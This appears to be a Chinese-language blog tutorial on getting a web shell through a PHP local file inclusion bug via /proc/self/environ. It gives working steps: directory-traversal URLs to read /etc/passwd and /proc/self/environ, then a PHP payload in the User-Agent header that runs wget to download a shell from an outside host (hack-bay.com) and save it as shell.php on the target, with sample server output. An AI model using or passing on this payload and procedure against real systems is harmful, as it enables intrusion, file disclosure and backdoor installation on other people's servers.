第一步:尋找本地包含漏洞
首先找到一個可能存在本地包含的文件,去check它
比如: www.website.com/view.php?page=contact.php
替換成 www.website.com/view.php?page=../
我們得到一個錯誤
Warning: include(../) [function.include]: failed to open stream: No such
file or directory in /home/sirgod/public_html/website.com/view.php on
line 1337
翻譯下以上的錯誤信息如下:
警告:包括(../) [function.include]:未能打開流:沒有那個文件或目錄在/ home / sirgod / public_html / website.com /view.php
說明機會很大,只是不存在文件而已
那麼我們就針對服務器存在的文件做檢查,比如linux裏的/etc/passwd
提交url:www.website.com/view.php?page=../../etc/passwd
依舊是:
Warning: include(../) [function.include]: failed to open stream: No such
file or directory in /home/sirgod/public_html/website.com/view.php on
line 1337
所以我們一層層的加上../測試,直到顯示爲止
www.website.com/view.php?page=../../../../../etc/passwd
這個時候我們成功的包含了/etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP
User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin
第二步:檢查proc/self/environ是否可用訪問
提交url:www.website.com/view.php?page=../../../../../proc/self/environ
如果看到類似如下信息:
DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac
HTTP_HOST=www.website.com
HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd
HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15
Version/10.00 PATH=/bin:/usr/bin
QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665
REQUEST_METHOD=GET
REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
SCRIPT_FILENAME=/home/sirgod/public_html/index.php
SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x
[email protected] SERVER_NAME=www.website.com
SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2
mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server
at www.website.com Port 80
說明是可以訪問的,如果返回時個空白頁,說明是無法訪問的,也可能操作系統是FreeBSD
第三步: 注入惡意代碼
我們怎麼才能把我們的惡意代碼注入到proc/self/environ吶?
我們可以注入我們的代碼在用戶代理HTTP頭。
使用篡改數據用於Firefox的插件改變Firefox的User-Agent.Start篡改數據和請求URL:
www.website.com/view.php?page=../../../../../proc/self/environ
選擇User-Agent 寫代碼如下:
<?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?>
然後提交請求。
我們的命令將被執行(將下載http://hack-bay.com/Shells/gny.txt,並將其保存爲它在shell.php
網站目錄),我們的shell也就被創建,.如果不行,嘗試使用exec(),因爲系統可能被禁用的從php.ini網絡服務器.
第四步:訪問我們的shell
只在存在包含文件的目錄下訪問你注入進去的shell即可
www.website.com/shell.php
現在我們的shell是成功的注入進去了
看到這裏想不想知道咋回事那?其原理是利用/proc/self/environ目錄遍歷及遠程執行代碼的漏洞,哈哈!!提示下google搜
索"Directory Traversal & Remote Code Execution Using
/proc/self/environ"吧
LFI通過proc/self/environ直接獲取webshell
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.